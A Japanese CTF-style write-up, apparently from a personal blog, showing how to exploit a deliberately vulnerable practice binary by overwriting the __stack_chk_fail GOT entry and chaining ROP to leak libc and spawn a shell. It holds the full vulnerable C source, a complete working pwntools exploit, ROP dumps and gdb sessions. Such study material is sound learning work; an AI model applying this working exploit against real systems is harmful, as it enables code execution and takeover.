__stack_chk_failを利用したGOT Overwrite

このアイデアに初めて出会った時「なるほど!!」と感心した。

一つ前の記事のように、main関数の最後にわかりやすくexit関数があったりはしない。 ソースコードには書かれていない__stack_chk_fail関数の存在を思い出す。

__stack_chk_failのGOT Overwriteおよびcanaryの破壊を行い、ROPでシェルをとる。

プログラムの概要

問題プログラムはここ(『詳解セキュコン』実践問題33.5を参考に)

メッセージを受け取るのと、任意のアドレスに対して8バイト(0x20 - 0x18)だけ値を書き込める:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln
Input message >> test
Input address >> 0x403378
Input value   >> 0x40129c

checksec

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ checksec ./vuln  
[*] '/home/shoebill/pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Partial RELROなのでGOTエントリへの書き込みがある程度可能(GOT Overwrite攻撃達成には十分)。

ソースコード

int main(void){
    char msg[0x10] = {};
    void **p;

    setbuf(stdout, NULL);

    printf("Input message >> ");
    fgets(msg, 0x80, stdin);

    printf("Input address >> ");
    scanf("%p", &p);
    printf("Input value   >> ");
    scanf("%p", p);

    return 0;
}

スタック上に用意した0x10バイトの文字配列に対して、0x80バイト書き込こめるbof脆弱性がある。

SSPが有効なので、__stack_chk_failのGOT OverwriteとROPを利用する。

exploit

(ちなみに、canary破壊に必要なのは24バイト。そこまで気にする必要ないので詳細は最後の方で説明)

#!/usr/bin/env python3
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './vuln'
binf = ELF(bin_file, checksec = False)
context.binary = binf

addr_printf = binf.symbols['printf']

got_printf = binf.got['printf']
got_stack_chk_fail = binf.got['__stack_chk_fail']

libc = binf.libc
offset_libc_printf = libc.symbols['printf']

def attack(conn):

    # printf(got_printf)
    rop = ROP(binf)
    rop.raw(rop.ret)
    rop.printf(got_printf)
    rop.raw(rop.ret)
    rop.main()

    payload = p64(0xdeadbeef)  # fill top 8 bytes
    payload += rop.chain()

    conn.sendlineafter('Input message >> ', payload)
    conn.sendlineafter('Input address >> ', hex(got_stack_chk_fail))
    conn.sendafter('Input value   >> ', hex(rop.r12_r13_r14_r15.address))
    conn.send(p64(0xcafebabe))

    # calc libc base
    addr_libc_printf = unpack(conn.recv(6), 'all')
    libc.address = addr_libc_printf - offset_libc_printf

    # spawn a shell
    rop = ROP(libc)
    rop.raw(rop.ret)
    rop.system(next(libc.search(b'/bin/sh')))

    conn.sendlineafter('Input message >> ', rop.chain())
    conn.sendlineafter('Input address >> ', hex(binf.got['setbuf']))
    conn.sendlineafter('Input value   >> ', '0')

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

戦略としては

「libc中のprintfの実体のアドレスを表示し、その後再度main関数を実行する」ようなROPチェーンをmessageとして入力する

(ROP攻撃するめに)__stack_chk_failのGOTを4回popするガジェットのアドレスに書き換える

(ROPにより表示されたprintfの実体のアドレスからlibcのベースアドレスを求める)

(最初のROPにより)再度実行されたmain関数に対して、シェルを起動するようなROPチェーンを入力してシェルをとる

libc中のprintfのアドレスを表示しその後再度main関数を実行するROPチェーン

rop = ROP(binf)
rop.raw(rop.ret)
rop.printf(got_printf)
rop.raw(rop.ret)
rop.main()

print(rop.dump())でダンプできる:

0x0000:         0x40101a ret
0x0008:         0x4012a3 pop rdi; ret
0x0010:         0x403380 [arg0] rdi = got.printf
0x0018:         0x401050 printf
0x0020:         0x40101a ret
0x0028:         0x401166 main()

既に呼び出されているprintf関数のGOTエントリには、printfの実体のアドレスがあるのでそれを表示させる(libcのベースアドレスを計算するため)。

(このROPチェーンはcanaryを破壊するのに十分な長さがある)

ROPを成功させるためのpayloadとガジェット

__stack_chk_failが呼ばれる直前のスタックの様子をみると

gdb-peda$ b *main+202
gdb-peda$ r
Input message >> aaaaaaaaaaaaaaaaaaaaaaaa  # 24 letters
Input address >> 0x403378  # setbuf's GOT
Input value   >> 0x40129c  # gadget's addr

siで一命令だけ進めると、call 0x401030 <__stack_chk_fail@plot>の次の命令leaveのアドレスがリターンアドレスとしてスタックに乗せられる:

つまり__stack_chk_failが呼ばれた直後のスタックは次のようになっている:

+-----------------+
|                 |
|  leave's addr   |
|                 |
+-----------------+
|                 |
|       0x0       |
|                 |
+-----------------+
|                 |
|  Input address  |
|                 |
+-----------------+
|                 |
|   Input message |
|  (top 8 bytes)  |
+-----------------+

messageにROPチェーンを与えると考えると、3~4回popするようなガジェットが必要。

exploitでは、messageのトップ8バイトを”deadbeef”で埋めて、そこからROPチェーンを続ける。

なのでpayloadとガジェットについて

payload = p64(0xdeadbeef)
payload += rop.chain()

conn.sendlineafter('Input message >> ', payload)
conn.sendlineafter('Input address >> ', hex(got_stack_chk_fail))
conn.sendafter('Input value   >> ', hex(rop.r12_r13_r14_r15.address))
conn.send(p64(0xcafebabe))

となる。

scanfの仕様

ret2mainによる二度目のmain関数を実行すると

Input message >> Input address >> 

のように"Input message"がスキップされてしまう。これはscanfの仕様が原因。

詳しくはここ: www.sejuku.net

一回目のmain関数のscanfで入力した際に\nがバッファに残ったままになり、それが二回目のmain関数実行時に自動的に"Input message"に 入力されてしまう。

それを回避するためにconn.send(p64(0xcafebabe))とデータを送信してする。

libcのベースアドレスの計算

ROPチェーン内に組み込まれてる、printf(got_printf)でlibc中のprintfの実体のアドレスが得られるから、オフセットoffset_libc_printf = libc.symbols['printf']との差をとればlibcのベースアドレスが得られる。

シェルを起動するROPチェーン

rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh')))

conn.sendlineafter('Input message >> ', rop.chain())
conn.sendlineafter('Input address >> ', hex(binf.got['setbuf']))
conn.sendlineafter('Input value   >> ', '0')
0x0000:   0x7f54b5428419 ret
0x0008:   0x7f54b542978d pop rdi; ret
0x0010:   0x7f54b55b1117 [arg0] rdi = 140001796624663
0x0018:   0x7f54b544a4e0 system

二度目のmain関数が呼ばれることで新たなスタックフレームが用意される。

そこにこのROPチェーンを乗っけてやることで、main関数終了時にスタックトップにあるこのROPチェーンに命令が移る。

(ret命令はスタックトップの値をpopしてrdiレジスタに格納する)

後続の"Input address >> "と"Input value >> "は適当な値をいれてやればなんでもよい。


実行結果:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./exploit.py  
[+] Starting local process './vuln': pid 42327
[*] Loaded 14 cached gadgets for './vuln'
[*] Loaded 225 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
$ uname -a
Linux shoebill 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux

canary破壊に必要なバイト数

main関数ディスアセンブル結果

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401166 <+0>:   push   rbp
   0x0000000000401167 <+1>:   mov    rbp,rsp
   0x000000000040116a <+4>:   sub    rsp,0x30
   0x000000000040116e <+8>:   mov    rax,QWORD PTR fs:0x28
   0x0000000000401177 <+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x000000000040117b <+21>:  xor    eax,eax
   0x000000000040117d <+23>:  mov    QWORD PTR [rbp-0x20],0x0
   0x0000000000401185 <+31>:  mov    QWORD PTR [rbp-0x18],0x0
   0x000000000040118d <+39>:  mov    rax,QWORD PTR [rip+0x221c]        # 0x4033b0 <stdout@@GLIBC_2.2.5>
...

より変数とスタックの様子はこんな感じ:

      +-----------------+
      |                 |
-0x20 |        p        |
      +-----------------+
      |                 |
      |                 |
      |                 |
-0x18 |       msg       |
      |                 |
      |                 |
      |                 |
      |                 |
      +-----------------+
      |                 |
-0x08 |     canary      |
      |                 |
      +-----------------+
      |                 |
      |    saved rbp    |
      |                 |
      +-----------------+
      |                 |
+0x08 |     retaddr     |
      |                 |
      +-----------------+

ゆえにcanaryを壊すには24(= 0x20 - 0x8)バイト入力すればよい。

本当に正しいかを確認すると

gdb-peda$ r
Input message >> CCCCCCCCCCCCCCCCCCCCCCCC
Input address >> 0x404018
Input value >> 0x401166
*** stack smashing detected ***: terminated
('C' * 24 = 0x20-0x8)

一文字減らすと

gdb-peda$ r
Input message >> CCCCCCCCCCCCCCCCCCCCCCC 
Input address >> 0x404018
Input value >> 0x401166
[Inferior 1 (process 5177) exited normally]
Warning: not running